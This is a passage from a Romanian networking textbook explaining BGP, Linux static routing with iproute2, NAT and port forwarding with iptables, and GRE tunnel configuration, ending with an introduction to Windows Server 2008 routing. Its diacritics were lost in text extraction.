n plus, numrul informaiilor asociate cu o rut crete semnificativ. Pentru un IGP
singurele informaii transmise sunt: reea destinaie, masc, metric, n vreme ce pentru BGP
mai trebuie precizate i atribute ca: origin, as_path, next_hop, local_pref,
atomic_aggregate, aggregator, multi_exit_disc.
O alt schimbare fa de rutarea intern o reprezint schimbarea paradigmei de
securitate. Astfel, dac s-ar considera un protocol de rutare inter-AS dup criteriile rutrii
clasice (adic interne), EGP ar fi n categoria extrem-paranoic. Aceast schimbare a paradigmei
de securitate, corelat cu cerina de flexibilitate, se traduce printr-o cretere a gradului de
complexitate a configurrii unui EGP.
Pe de alt parte, cerinele de convergen pentru un EGP sunt destul de reduse, datorit
faptului c legturile de nucleu sunt extrem de stabile. Astfel, timpul de convergen pentru
BGP este de ordinul orelor mai degrab dect al minutelor - precum n cazul unui protocol de
rutare intern.
Spre deosebire de rutarea intern, rutarea inter-AS nu las loc pentru existena mai
multor protocoale diferite, datorit cantitii importante de resurse, dar i datorit numrului
relativ redus de sisteme autonome. Ctigtorul competiiei este, fr ndoial, BGPv4
1
.

1
http://tools.ietf.org/html/rfc4271
141 | R u t a r e a n I n t e r n e t

n principiu, BGP funcioneaz la fel ca orice protocol de rutare, n sensul c schimb
tabele de rutare cu routerele vecine. n plus fa de un IGP, BGP mai transmite odat cu
acestea i informaia de AS, precum i o serie de alte atribute. Astfel, un router BGP va
construi aa-numitele AS-paths, specificnd AS-urile prin care trebuie sa treac un pachet
pn la destinaie. Folosind aceste AS-paths, BGP evit buclele de rutare.
Este important de precizat c BGP transmite mesajele ncapsulate n segmente TCP,
folosind portul dedicat 179. Drept consecin, nainte de a putea rula o sesiune BGP, trebuie
ca ntre cele dou noduri s existe rute. Cel mai adesea alimentarea iniial a tabelelor de
rutare este realizat de un IGP, dar la fel de bine conexiunea poate fi stabilit i prin precizarea
unor rute statice.
nainte de a ncheia capitolul trebuie accentuat c nu exist o ierarhie unic a
protocoalelor de rutare. Nu exist un cel mai bun protocol de rutare care s fie optim pentru
orice reea. Deseori, insistnd pe comparaia dintre diferite protocoale, se scap din vedere c
soluia cea mai bun pentru un context dat poate fi rutarea static. Acest lucru este valabil nu
doar n reelele de mici dimensiuni, ci chiar i pentru interconectarea a dou sisteme
autonome diferite. BGP ofer un grad ridicat de flexibilitate, dar pentru a exploata aceast
flexibilitate este nevoie de mai mult de o conexiune ctre Internet. Pentru un singur furnizor
de servicii Internet, o singur rut implicit poate fi suficient.
4.5 Configurri la nivel de router n Linux
Sistemul de operare Linux permite configurarea unei staii ca router. Aceasta nseamn c
staia respectiv poate s primeasc pachete IP de la alte staii din reea, s determine calea
spre destinaia pachetelor i, n cazul n care este posibil, s trimit traficul ctre destinaie.
Pentru a realiza aceste funcii, se menine la nivelul nucleului o tabel de rutare, pe baza
creia se determin traseul ctre destinaia unui pachet.
O observaie important referitoare la rutarea din Linux este c nucleul lucreaz simultan
cu dou tabele de rutare: FIB (Forwarding Information Base) este tabela uzual la care se face
referire prin termenul de tabel de rutare, iar routing cache este o tabel ce accelereaz
rutarea prin pstrarea ultimelor rute utilizate ntr-o memorie cache.
Dup cum s-a prezentat n seciunile anterioare, exist dou tipuri de rute: statice
(adugate manual de utilizatorul sistemului) i dinamice (nvate prin intermediul unui
protocol de rutare, precum RIP, OSPF, BGP). Datorit faptului c, n general, routerele Linux se
afla la periferia Internetului, rutele statice sunt suficiente pentru a asigura rutarea.
4.5.1 Activarea rutrii
Pentru a permite comutarea pachetelor ntre dou interfee ale aceleiai maini (activarea
comportamentului de router), trebuie activat variabila ip_forward. Activarea se poate
realiza temporar sau permanent.
Activarea temporar se realizeaz prin intermediul procfs:
cuirass:~# cat /proc/sys/net/ipv4/ip_forward
0
cuirass:~# echo 1 > /proc/sys/net/ipv4/ip_forward
cuirass:~# cat /proc/sys/net/ipv4/ip_forward
1
sau sysctl:
cuirass:~# sysctl -a | grep ip_forward
net.ipv4.ip_forward = 0
cuirass:~# sysctl -w 'net.ipv4.ip_forward=1'
net.ipv4.ip_forward = 1
cuirass:~# sysctl -a | grep ip_forward
net.ipv4.ip_forward = 1
142 | R e e l e L o c a l e

Configurarea permanent se realizeaz prin editarea fiierului sysctl.conf:
cuirass:~# cat /etc/sysctl.conf | grep -B 1 ip_forward
# Uncomment the next line to enable packet forwarding for IPv4
#net.ipv4.ip_forward=1
cuirass:~# vi /etc/sysctl.conf
cuirass:~# cat /etc/sysctl.conf | grep -B 1 ip_forward
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
Fiierul va fi interpretat n momentul repornirii sistemului. Se poate fora repornirea sa tot
prin intermediul interfeei sysctl:
cuirass:~# sysctl -a | grep ip_forward
net.ipv4.ip_forward = 0
cuirass:~# sysctl -p
net.ipv4.ip_forward = 1
cuirass:~# sysctl -a | grep ip_forward
net.ipv4.ip_forward = 1
4.5.2 Configurarea rutelor
n mod tradiional, utilitarul route amintit mai sus este folosite pentru a aduga, respectiv
pentru a terge rute din tabela de rutare.
ncepnd de la versiunea de nucleu 2.2 a aprut un nou utilitar pentru configurarea
parametrilor de reea, cunoscut sub numele iproute. Ajuns la cea de a doua versiune
(iproute2), acesta reprezint o alternativ puternic, permind realizarea de configurri
foarte sofisticate. Utilitarul iproute este folosit prin intermediul comenzii ip. Documentaia
utilitarului este dat de pagina de manual (man 8 ip). n cazul rutrii o documentaie
minimal poate fi vizualizat prin rularea comenzii:
cuirass:~# ip r help
Usage: ip route { list | flush } SELECTOR
ip route get ADDRESS [ from ADDRESS iif STRING ]
[ oif STRING ] [ tos TOS ]
ip route { add | del | change | append | replace | monitor } ROUTE
[...]
Exemplele prezentate n continuare vor folosi preponderent utilitarul iproute2.
4.5.2.1 Vizualizare tabelei de rutare
Tabela de rutare se afieaz prin invocarea comenzii ip cu argumentul route:
cuirass:~# ip r
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.2 dev eth0
Se observ c se pot reduce argumentele la o secven minim unic. Se pot selecta
intrrile din tabela de rutare dup anumite criterii, folosind argumentul list:
cuirass:~# ip r l type local
cuirass:~# ip r l type unicast
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.2 dev eth0
cuirass:~# ip r l scope link
172.16.68.0/24 dev eth0 proto kernel src 172.16.68.128
cuirass:~# ip r l scope host
cuirass:~# ip r l scope global
default via 172.16.68.2 dev eth0
n tabelul de mai sus exist o rut direct conectat (link) i o rut implicit. Ruta direct
conectat este interfaa eth0 prin care sistemul se conecteaz la reeaua local. Ruta implicit
folosete ca gateway 172.16.68.2.
4.5.2.2 Adugarea de rute
Pentru a aduga o rut ctre o reea / host, se folosete comanda ip r a:
cuirass:~# ip r l
143 | R u t a r e a n I n t e r n e t

172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.2 dev eth0
cuirass:~# ip r a 192.168.38.100/32 via 172.16.68.2
cuirass:~# ip r a 192.168.38.0/24 via 172.16.68.2
cuirass:~# ip r l
192.168.38.100 via 172.16.68.2 dev eth0
192.168.38.0/24 via 172.16.68.2 dev eth0
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.4 dev eth0
n exemplul de mai sus s-a adugat o rut de tip host ctre staia cu adresa IP
192.168.38.100 i o rut de tip reea ctre reeaua 192.168.38.0.
n exemplul urmtor se adaug o rut implicit:
cuirass:~# ip r a default via 172.16.68.4
cuirass:~# ip r l
192.168.38.100 via 172.16.68.2 dev eth0
192.168.38.0/24 via 172.16.68.2 dev eth0
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.2 dev eth0
Tabela de rutare poate fi alterat prin intermediul comenzii ip r change:
cuirass:~# ip r c default via 172.16.68.5
cuirass:~# ip r l
192.168.38.100 via 172.16.68.2 dev eth0
192.168.38.0/24 via 172.16.68.2 dev eth0
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.5 dev eth0
Sunt ntlnite frecvent cazuri n care este nevoie de mai multe rute ctre o singur
destinaie. Motivul principal al unei astfel de implementri este redundana. n cazul n care o
rut devine inutilizabil, poate fi folosit una dintre rutele de rezerv. Criteriul pentru
stabilirea rutei principale este costul acesteia. Din punct de vedere al sistemului de operare,
prioritatea rutelor este stabilit de metric. Rutele instalate folosind comenzile de mai sus au
metrica default 0. Pentru schimbarea metricii (i prioritizarea rutelor) se poate folosi opiunea
metric la adugarea unei intrri n tabela de rutare:
cuirass:~# ip r a 192.168.3.2 via 172.16.68.5 metric 5
cuirass:~# ip r l match 192.168.3.2
192.168.3.2 via 172.16.68.5 dev eth0 metric 5
default via 172.16.68.5 dev eth0
Comanda ip r l match este folosit pentru a afia intrrile din tabela de rutare care
corespund unei anumite reele. n exemplul de mai sus se afieaz ruta de tip host ctre
192.168.3.2 i ruta implicit care se potrivete cu orice adres.
4.5.2.3 tergerea de rute
tergerea de rute este mai simpl dect adugarea, deoarece nu trebuie specificat dect
reeaua / staia spre care duce ruta.
Rutele din tabela de rutare pot fi terse cu ajutorul comenzii ip route del. n exemplele
de mai jos se elimin o rut de tip host, o rut de tip reea i o rut implicit:
cuirass:~# ip r l
192.168.3.2 via 172.16.68.5 dev eth0 metric 5
192.168.38.100 via 172.16.68.2 dev eth0
192.168.38.0/24 via 172.16.68.2 dev eth0
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.5 dev eth0
cuirass:~# ip r d 192.168.3.2
cuirass:~# ip r d 192.168.38.0/24
cuirass:~# ip r d default
cuirass:~# ip r l
192.168.38.100 via 172.16.68.2 dev eth0
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
144 | R e e l e L o c a l e

4.5.2.4 Adugarea de rute cu caracter permanent
Pentru ca modificrile efectuate asupra tabelei de rutare s aib caracter permanent, se
folosete fiierul /etc/network/interfaces. n acest fiier pot fi configurate comenzi care s
adauge rute la pornirea sistemului sau n momentul folosirii scripturilor de interaciune
specifice (/etc/init.d/networking).
Configurarea rutei implicite se realizeaz prin intermediul directivei gateway. Mai jos este
precizat o configuraie care adaug ruta implicit ctre 192.168.1.1 i o rut ctre staia
192.168.38.100:
cuirass:~# cat /etc/network/interfaces
[...]
# The primary network interface
allow-hotplug eth0
auto eth0
iface eth0 inet static
address 172.16.68.128
netmask 255.255.255.0
broadcast 172.16.68.255
gateway 172.16.68.2
dns-nameservers 172.16.68.2
up ip route add 192.168.38.100/32 via 172.16.68.5
cuirass:~# /etc/init.d/networking restart
Reconfiguring network interfaces...done.
cuirass:~# ip r l
192.168.38.100 via 172.16.68.5 dev eth0
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128
default via 172.16.68.2 dev eth0
Opiunea up este folosit la rularea unei comenzi dup activarea interfeei. n exemplul de
mai sus, dup activarea interfeei se adaug o rut ctre reeaua 192.168.38.100.
4.6 NAT - Network Address Translation
NAT
1
ofer posibilitatea schimbrii unei adrese IP cu o alta din antetul unui pachet IP. n
practic, NAT se folosete pentru a permite staiilor care utilizeaz adrese private s acceseze
Internetul.
Deoarece exist un numr destul de mare de reele neconectate la Internet, IETF a
ncercat s reglementeze folosirea adreselor n cadrul acestor reele. Soluia
2
a fost definirea
unor spaii de adrese private, adrese ce nu pot fi rutate pe Internet.

Clasa Spaiul de adrese
A 10.0.0.0/8 10.0.0.0 10.255.255.255
B 172.16.0.0/12 172.16.0.0 172.31.255.255
C 192.168.0.0/16 192.168.0.0 192.168.255.255
4-4: Clasele private de adrese
Obinerea unei reele are un cost fix de 50$ plus TVA. Costul este foarte mic, dar procesul
este anevoios, deoarece necesit justificarea dimensiunii spaiului de adrese, precum i o
ateptare de pn la 3 luni.
Folosirea adreselor private ofer o schem de adresare rapid i comod. n plus, datorit
faptului c adresele staiilor nu sunt accesibile din afara reelei, folosirea adreselor private
este deseori considerat una dintre cele mai eficiente politici de securitate.
n acelai timp, adresele private pun o serie de probleme. Cea mai important este faptul
c routerul prin care reeaua privat acceseaz Internetul va trebui s fie capabil s fac
conversia adreselor private n adrese publice, deci s ruleze un serviciu de NAT. Acest serviciu

1
http://tools.ietf.org/html/rfc1631
2
http://tools.ietf.org/html/rfc1918
145 | R u t a r e a n I n t e r n e t

impune o laten suplimentar pentru fiecare pachet ce tranziteaz routerul. Un alt
dezavantaj este acela c n interiorul unei reele private nu se recomand plasarea de
calculatoare care ofer servicii publice, ntruct este dificil s fie iniiate conexiuni din exterior
ctre acestea.
Translatarea static a adreselor presupune constituirea unei tabele de translatare ce va
atribui ntotdeauna aceeai adres public pentru o adres privat dat. Trebuie s existe n
acest caz un numr egal de adrese publice i adrese private.
Translatarea dinamic a adreselor presupune definirea unui rezervor de adrese publice,
care apoi vor fi atribuite n funcie de ordinea n care staiile solicit conexiuni cu Internetul.
Odat ncheiat ultima conexiune a unei staii, adresa public este returnat n rezervorul de
adrese, putnd fi alocat unei alte staii. Avantajul major al acestei implementri este c
numrul adreselor publice poate fi semnificativ mai redus dect al celor private. Dac spre
exemplu se ia o reea cu 200 de calculatoare, dar din care pe Internet nu sunt niciodat mai
mult de un sfert, atunci se poate realiza o translatare dinamic a adreselor pe un spaiu de 64
de adrese publice, i nu 256 ca n cazul translatrii statice.
Translatarea adreselor cu suprancrcare este forma cea mai des ntlnit de NAT. n
prezent, cnd se face referire la translatarea adreselor, n realitate se face referire la
translatarea adreselor cu suprancrcare. Aceast metod ofer posibilitatea folosirii unei
singure adrese publice pentru mai multe staii ce acceseaz Internetul. Din aceast cauz
aceast metod mai este numit i NAT multi-la-unu sau PAT (Port Address Translation).
Avantajul PAT este c permite un numr de aproximativ 64000 de conversaii simultane de
la orice host intern ctre exterior cu o singur adres extern. Implementarea nlocuiete
pachetul din reeaua local cu adresa surs S, adresa destinaie D, portul surs P, portul
destinaie Q, cu altul nou ce va avea adresa surs M (adresa routerului), adresa destinaie D,
portul surs K. Portul destinaie nu se schimb. De asemenea se memoreaz asocierea (S,P) -
K. Dac un pachet ajunge pe router din exterior, avnd adresa destinaie M, adresa surs Q i
portul destinaie K, atunci acest pachet va fi nlocuit cu un altul cu adresa destinaie S, adresa
surs Q, portul destinaie P i va fi trimis n reeaua local. Portul surs nu se schimb.
Figura de mai jos prezint un exemplu de PAT. Staiile din reeaua local cu adresele
10.0.0.2 respectiv 10.0.0.3 se conecteaz la staia 141.85.37.1 prin SSH (portul destinaie este
22). Gateway-ul cu adresa 64.6.8.13 ascunde identitatea celor dou staii i realizeaz
maparea portului 52108 al staiei 10.0.0.2 peste portul 2002 local i cel al portului 52108 al
staiei 10.0.0.3 peste portul local 2003.
Un caz special al PAT l reprezint redirectarea. n acest caz se va nlocui pachetul primit
din reeaua local avnd adresa surs S, adresa destinaie D, portul P cu un altul avnd adresa
surs S, adresa destinaie M (adresa routerului), portul R (portul n care se face redirectarea,
specificat de utilizator). Redirectarea este n general folosit pentru a implementa un proxy
transparent, caz n care pe routerul M portul R ascult un proxy configurat pentru proxy
transparent.

146 | R e e l e L o c a l e


4-5: NAT overloaded (PAT)
4.6.1 Translatarea de adrese n Linux
n Linux, translatarea adreselor se realizeaz folosind utilitarul iptables. Utilitarul
iptables este folosit pentru NAT i pentru filtrarea pachetelor (firewall software). Dup cum
i spune i numele, utilitarul dispune de tabele asociate anumitor scopuri:
tabela nat este folosit pentru NAT;
tabela filter este folosit pentru filtrarea pachetelor;
tabela mangle este o tabel folosit pentru alterarea avansat a pachetelor.
Fiecare tabel conine un set de lanuri dedicate unui anumit tip de aciune. n fiecare lan
pot fi adugate reguli specifice care definesc modul n care vor fi prelucrate diversele pachete.
Pentru translatarea de adrese se folosete tabela nat. n aceast tabel exist trei lanuri
predefinite: PREROUTING - modific pachetul imediat ce acesta intr n router, nainte de a fi
rutat, OUTPUT - modific pachetele generate local nainte ca acestea s intre n procesul de
rutare, i POSTROUTING - modific pachetele ce urmeaz s plece din router, dup ce acestea
au fost rutate. intele valide sunt ACCEPT, DROP, QUEUE, REJECT, LOG, SNAT, DNAT, MASQUARADE,
REDIRECT.
4.6.1.1 Aciuni n cadrul tabelei nat
Aciunile posibile n cadrul tabelei NAT sunt SNAT, DNAT, MASQUERADE i REDIRECT.
SNAT se folosete pentru a indica o translatare de adrese de tip PAT pe adresa surs.
Adresa surs a pachetului va fi modificat la una din intervalul specificat prin opiunea --to-
source. Cu aceeai opiune se poate specifica i intervalul n care se va alege portul surs cnd
se face translatarea de adrese. Aceast int este valid numai n lanul POSTROUTING (i
lanurile chemate din acest lan).
DNAT se folosete pentru o translatare de adrese de tip PAT pe adresa destinaie. Adresa
destinaie a pachetului va fi modificat la una din intervalul specificat prin opiunea --to-
destination. Aceast int este valid numai n lanurile PREROUTING i OUTPUT (i lanurile
chemate din acest lan).
10.0.0.2
141.85.37.1
52108
22
10.0.0.2
10.0.0.3
10.0.0.3
141.85.37.1
52108
22
64.6.8.13
64.6.8.13
141.85.37.1
2002
22
64.6.8.13
141.85.37.1
2003
22
Internet
147 | R u t a r e a n I n t e r n e t

MASQUERADE este echivalent cu SNAT. Adresa surs va fi nlocuit cu adresa setat a
interfeei pe care va fi trimis pachetul. Trebuie folosit n loc de SNAT dac adresa la care se
face translatarea este setat dinamic (prin DHCP de exemplu).
REDIRECT se folosete pentru a redirecta pachetul, local, pe portul specificat de opiunea
--to-port. Aceast int este valid numai n lanurile PREROUTING i OUTPUT.
4.6.1.2 Exemple de utilizare a tabelei nat
Pentru a evidenia mai bine lucrurile menionate mai sus se pot urmri regulile de mai jos:
iptables -t nat -A POSTROUTING -o eth1 s 192.168.0.0/24 -j SNAT --to-source 1.2.3.4
iptables -t nat -A PREROUTING i eth0 -d 14.15.16.17 -j DNAT --to-destination
192.168.100.1
Prima regul poate fi interpretat n felul urmtor: toate pachetele ce vin cu adresa IP
surs din reeaua 192.168.0.0/24 vor fi trimise pe interfaa eth1 cu adresa IP surs 1.2.3.4,
dup ce acestea vor fi rutate. Cea de-a doua regul va schimba adresa IP destinaie
(14.15.16.17) a pachetelor ce intr pe interfaa eth0 cu adresa IP 192.168.100.1, nainte ca
acestea s fie rutate.
n exemplul de mai jos a fost prezentat configurarea iptables pentru translatarea de
adrese pe sistemul 141.85.37.1 din reeaua 192.168.1.0/24. Aceast main este doar
router, iar serverul de web, serverul de e-mail i serverul de DNS ruleaz pe servere diferite, n
reeaua intern. Routerul are conectat interfaa eth0 la reeaua intern i interfaa eth1 la
Internet.
iptables -t nat -A POSTROUTING -o eth1 -s 192.168.1.0/24 -j SNAT --to-source 141.85.37.1
iptables -t nat -A PREROUTING -i eth1 -p tcp --destination-port 80 -j DNAT --to-
destination 192.168.1.2
iptables -t nat -A PREROUTING -i eth1 -p tcp --destination-port 25 -j DNAT --to-
destination 192.168.1.3
iptables -t nat -A PREROUTING -i eth1 -p tcp --destination-port 53 -j DNAT --to-
destination 192.168.1.4
iptables -t nat -A PREROUTING -i eth1 -p udp --destination-port 53 -j DNAT --to-
destination 192.168.1.4
Prima linie din exemplu este folosit pentru ca staiile din reea s poat accesa Internetul.
La trecerea pachetelor prin router, adresa surs a staiilor (adres privat) va fi nlocuit cu
adresa routerului (adres public).
Urmtoarele linii vor trimite traficul de web, e-mail i DNS ctre serverele din interior. n
acest context, din exterior, aparent routerul este i server de web, e-mail i DNS.
Ce se ntmpl dac se dorete ca serviciile din reeaua intern, care sunt fcute publice,
s fie vzute din exterior ca rulnd pe porturi diferite fa de cele standard? Metoda ce poate
fi aplicat aici se numete port forwarding. Aceast metod permite unei staii (firewall) s
trimit cererile ce i sunt adresate ctre o alt staie ce va procesa aceste cereri. Cea mai
folosit ntrebuinare a acestei metode apare cnd serverele ruleaz pe staii aflate n reeaua
intern (dup firewall). Cu alte cuvinte, se presupune existena unui gateway cu dou
interfee, eth0 fiind conectat la reeaua intern i eth1 la Internet. Fie 141.85.37.1 adresa IP
public a interfeei eth1 i 192.168.0.2 adresa IP a staiei pe care ruleaz un serviciu web, pe
portul implicit 80, staie ce va putea fi accesat din exterior. n exemplul de mai jos se va face
redirectarea conexiunilor ce vin pe 141.85.37.1:8888 (<IP_extern:port>) ctre 192.168.0.2:80
(IP_intern:port).
iptables -t nat -A PREROUTING -i eth1 -p tcp d 141.85.37.1 dport 8888 j DNAT -to-
destination 192.168.0.2:80
4.6.2 Alterarea avansat a pachetelor
Tabela mangle este folosit pentru a modifica atribute specifice ale pachetelor. NAT
modific doar adresele dintr-un pachet. Tabela mangle poate fi folosit pentru a schimba
148 | R e e l e L o c a l e

informaii precum TTL, TOS, sau pentru a marca un pachet. Marcarea pachetelor este folosit
doar n interiorul routerului. Odat ce un pachet prsete routerul, informaiile adugate la
marcare vor fi ndeprtate. n prezent, marcarea pachetelor este folosit de ctre sistemul de
Quality of Service (QoS).
Exist trei lanuri predefinite: INPUT - modific pachetele destinate routerului, FORWARD -
modific pachetele n curs de rutare, i POSTROUTING - modific pachetele dup rutare. intele
valide includ ACCEPT, DROP, QUEUE, REJECT, LOG precum i cele specifice tabelei, prezentate
mai jos.
MARK marcheaz pachetul cu valoarea specificat prin opiunea --set-mark. Pachetele
marcate se pot folosi ulterior n procesul de rutare sau QoS.
TOS seteaz cmpul de type of service la valoarea specificat prin opiunea --set-tos.
TTL seteaz cmpul TTL la valoarea specificat prin opiunea --ttl-set, decrementeaz
valoarea acestuia (dac se folosete opiunea --ttl-dec) sau incrementeaz valoarea
acestuia (dac se folosete opiunea --ttl-inc).
Mai jos este prezentat un exemplu de alterare avansat a pachetelor, n care dou staii
din reeaua intern, 141.85.37.13 i 141.85.37.169 pot accesa doar reeaua intern
(reeaua departamentului) i reeaua imediat urmtoare (reeaua organizaiei).
iptables -t mangle -A FORWARD -s 141.85.37.13 -j TTL --ttl-set 2
iptables -t mangle -A FORWARD -s 141.85.37.169 -j TTL --ttl-set 2
4.6.3 Tunelare
O reea privat virtual (VPN Virtual Private Network) reprezint o modalitate de
asigurare a unei conexiuni sigure peste o infrastructur public. Principalele tehnologii ce
permit stabilirea unei astfel de conexiuni sunt criptarea i tunelarea. Odat cu apariia
reelelor private virtuale de nivel 2, componenta de criptare a fost abandonat, singura
caracteristic universal a soluiilor de VPN rmnnd tunelarea.
Principalul scop al tunelrii ntr-o reea virtual este de a ascunde (fr a altera) att
identitatea sursei ct i a destinaiei fa de routerele de pe parcurs, routere ce aparin
infrastructurii publice. Dac s-ar apela la o translatare de adres, informaiile originale nu ar fi
accesibile dect serverului de translatare de adres.
n cazul tunelrii antetul iniial al pachetului este pstrat nealterat, atandu-se un nou
antet ce va avea ca adres surs adresa captului local al tunelului, iar ca adres destinaie
adresa celuilalt capt al tunelului.
Cel mai adesea tunelarea se realizeaz la nivelul reea prin tunelarea traficului IPv4 printr-
un tunel IPv4, precum n cazul VPN, sau tunelarea unui alt protocol rutat, spre exemplu
tunelarea traficului IPv6 peste o infrastructur IPv4 (tunel 6to4).
Se poate folosi tunelare i n cazul traficului de nivel legtur de date, cea mai ntlnit
metod de tunelare fiind tunelarea dot1q, folosit de ISP n cazul n care acesta ofer
conservarea informaiilor de VLAN din reelele clienilor.
O categorie aparte de tunelare o reprezint tunelarea de nivel 2,5 folosit spre exemplu n
arhitecturile de IP MPLS.
Avnd n vedere c principalul scop al tunelrii IP peste IP este acela de a oferi securitate,
trebuie s rspundem la ntrebarea:
n ce msur se obine un plus de securitate folosind tunelarea, atta vreme ct
informaiile originale se afl n continuare n cadrul original?
Rspunsul la aceast ntrebare ine de aprecierea volumului foarte mare de date ce
trebuie comutate n nucleul Internetului. Valoarea foarte ridicat a traficului determin ca
orice prelucrare adiional a cadrelor s aib consecine semnificative pentru scalabilitatea
reelei. Altfel spus, dei teoretic este posibil selectarea foarte precis doar a pachetelor de
149 | R u t a r e a n I n t e r n e t

autentificare pentru sesiunile de telnet spre exemplu, o inspectare att de amnunit a
tuturor cadrelor ce sunt comutate de router poate duce la o scdere a performanei unui
router dedicat de pn la o valoare de doar 20% din perfomana iniial.
Cu toate acestea, n cazul unei infrastructuri publice cu un grad sczut de siguran
securitatea unei reele virtuale private nu mai poate fi asigurat doar prin tunelare, fiind
necesar i criptarea traficului.
Care este consecina creterii lungimii pachetelor prin adugarea unui nou antet n cazul
tunelrii?
Atta vreme ct pachetele prin adugarea noului antet se ncadreaz n dimensiunea
maxim a cadrului (1500 octei), adugarea noului antet de tunelare are un impact minor
pentru performanele reelei.
Dac, n schimb, se va ajunge la tunelarea pachetelor care dup ncapsularea de nivel
reea au deja 1500 de octei, prin adugarea unui nou antet se va depi dimensiunea maxim
impus de protocolul de nivel legtur de date, n acest caz urmnd s apar o fragmentare n
dou cadre. Astfel fiecare cadru care n urma tunelrii va depi 1500 de octei va fi mprit n
dou cadre. Chiar i n cazul n care exist un trafic susinut ntre aceai surs i destinaie,
trafic bazat pe trasferul de cadre de lungime maxim, n urma tunelrii se va dubla numrul de
pachete. Dei jumtate din pachete vor fi de dimensiune minim, acestea vor fi transmise
individual, deoarece complexitatea concatenrii lor n unul sau mai multe cadre de lungime
maxim este considerat prea mare.
n implementrile uzuale se dorete nu numai evitarea concatenrii fragmentelor de
lungime minim, dar chiar evitarea fragmentrii. Acest lucru se realizeaz prin impunerea unei
dimensiuni maxime datelor nainte de ncapsularea de nivel reea.
MTU (Maximum Transfer Unit) reprezint dimensiunea maxim a pachetelor dup
ncapsularea de nivel reea.
MSS (Maximum Segment Size) reprezint dimensiunea maxim a pachetelor nainte de
ncapsularea de nivel reea.
n cazul trasferului traficului IPv4 peste un tunel IPv4, se definete MSS ca fiind cu 40 de
octei mai mic dect MTU, aceti 40 de octei reprezentnd cele dou antete IPv4 ce vor fi
adugate la nivelul reea.
Pentru a evita fragmentarea, limitarea MSS trebuie operat pe staia surs. Pentru aceasta
n sistemele Windows trebuie modificate dou chei n baza de date de regitri, iar n Linux
limitarea se impune prin configurarea iptables.
4.6.4 Configurarea tunelului GRE n Linux
n seciunea 4.6.3 s-a prezentat conceptul de tunelare i se recomand parcurgerea
acesteia naintea seciunii urmtoare.
GRE
1
(Generic Routing Encapsulation) este un protocol de tunelare care ncapsuleaz
diferite informaii n pachete IP. Linux permite crearea de tunele GRE cu ajutorul modulului
ip_gre:
valhalla:/home/razvan# lsmod | grep ip_gre
ip_gre 15620 0
Crearea tunelelor GRE se realizeaz cu ajutorul utilitarului iproute2 prin intermediul
comenzii ip tunnel.

1
http://tools.ietf.org/html/rfc1701
150 | R e e l e L o c a l e

Folosirea tunelelor GRE n Linux va fi exemplificat printr-un scenariu tipic. Exist dou
reele A i B interconectate printr-o reea C. Reelele A i B dein staii cu adrese private.
Routerul R1 este folosit pe post de gateway de reeaua A, iar routerul R2 este folosit pe post
de gateway de reeaua B.
Informaiile asociate celor dou reele sunt prezentate n tabelul de mai jos:

Reea A Reea B
Adres reea 172.16.68.0/24 Adres reea 10.38.0.0/16
Adres intern R1 172.16.68.1 Adres intern R1 10.38.0.1
Adres extern R1 141.85.37.178 Adres extern R1 141.85.37.1
Adres sistem de test 172.16.68.128 Adres sistem de test 10.38.6.123

Pentru reeaua A se creeaz tunelul netb i interfaa cu acelai nume:
valhalla:~# ip t add netb mode gre remote 141.85.37.1 local 141.85.37.178 ttl 255
valhalla:~# ip l set netb up
valhalla:~# ip addr add 172.16.68.1 dev netb
valhalla:~# ip route add 10.38.0.0/16 dev netb
Ruta ctre reeaua B este intermediat de interfaa virtual netb asociat tunelului GRE.
La fel, pentru reeaua B se creeaz tunelul neta i interfaa cu acelai nume:
root@csr:~# ip t a neta mode gre remote 141.85.37.178 local 141.85.37.1 ttl 255
root@csr:~# ip l set neta up
root@csr:~# ip a a 10.38.0.1 dev neta
root@csr:~# ip r a 172.16.68.0/24 dev neta
n acest moment, dei aflate n reele private, staiile pot comunica unele cu celelalte. Prin
tunelul folosit toate pachetele de la staiile din reeaua A vor ajunge la staiile din reeaua B. O
captur de pachete folosind tcpdump are urmtorul coninut:
22:07:36.819507 IP 141.85.37.178 > 141.85.37.1: GREv0, length 88: IP 172.16.68.128 >
10.38.6.123: ICMP echo request, id 41995, seq 1, length 64

22:07:36.820140 IP 141.85.37.1 > 141.85.37.178: GREv0, length 88: IP 10.38.6.123 >
172.16.68.128: ICMP echo reply, id 41995, seq 1, length 64

22:07:37.827154 IP 141.85.37.178 > 141.85.37.1: GREv0, length 88: IP 172.16.68.128 >
10.38.6.123: ICMP echo request, id 41995, seq 2, length 64

22:07:37.827657 IP 141.85.37.1 > 141.85.37.178: GREv0, length 88: IP 10.38.6.123 >
172.16.68.128: ICMP echo reply, id 41995, seq 2, length 64

Se observ ca staia cu adresa 172.16.68.128 din reeaua A transmite pachete IMCP Echo
request ctre staia cu adresa 10.38.6.123 din reeaua B, iar aceasta i rspunde. Toat
comunicaia este ncapsulat n tunelul GRE. Pachetele ICMP sunt ncapsulate n pachete IP n
care adresele IP surs, respectiv destinate sunt adresele IP externe ale routerelor R1 i R2.
4.7 Rutarea n Windows Server 2008
4.7.1 Routing and remote access services

Dispozitivul care reunete dou segmente separate de reea (denumite i subreele, n
contextul reelelor TCP/IP) este denumit, generic, un router. Principalul rol al unui router este
de a decide dac pachetele care sosesc la el trebuie s ajung sau nu ntr-un alt segment de
reea conectat la acesta.
151 | R u t a r e a n I n t e r n e t

Majoritatea reelelor folosesc echipamente dedicate n acest scop, al rutrii. Acestea
reprezint soluii hardware ce funcioneaz cu propriile sisteme de operare (Cisco, Juniper,
etc) i sunt destinate reelelor de mrime medie i mare.
Windows Server 2008 ofer o soluie software pentru rutare prin intermediul serviciilor
grupate sub denumirea de Routing and Remote Access. Din punct de vedere hardware,
singurele modificri necesare pentru a implementa un proces de rutare folosind Windows
Server 2008 sunt una sau mai multe plci de reea suplimentare.
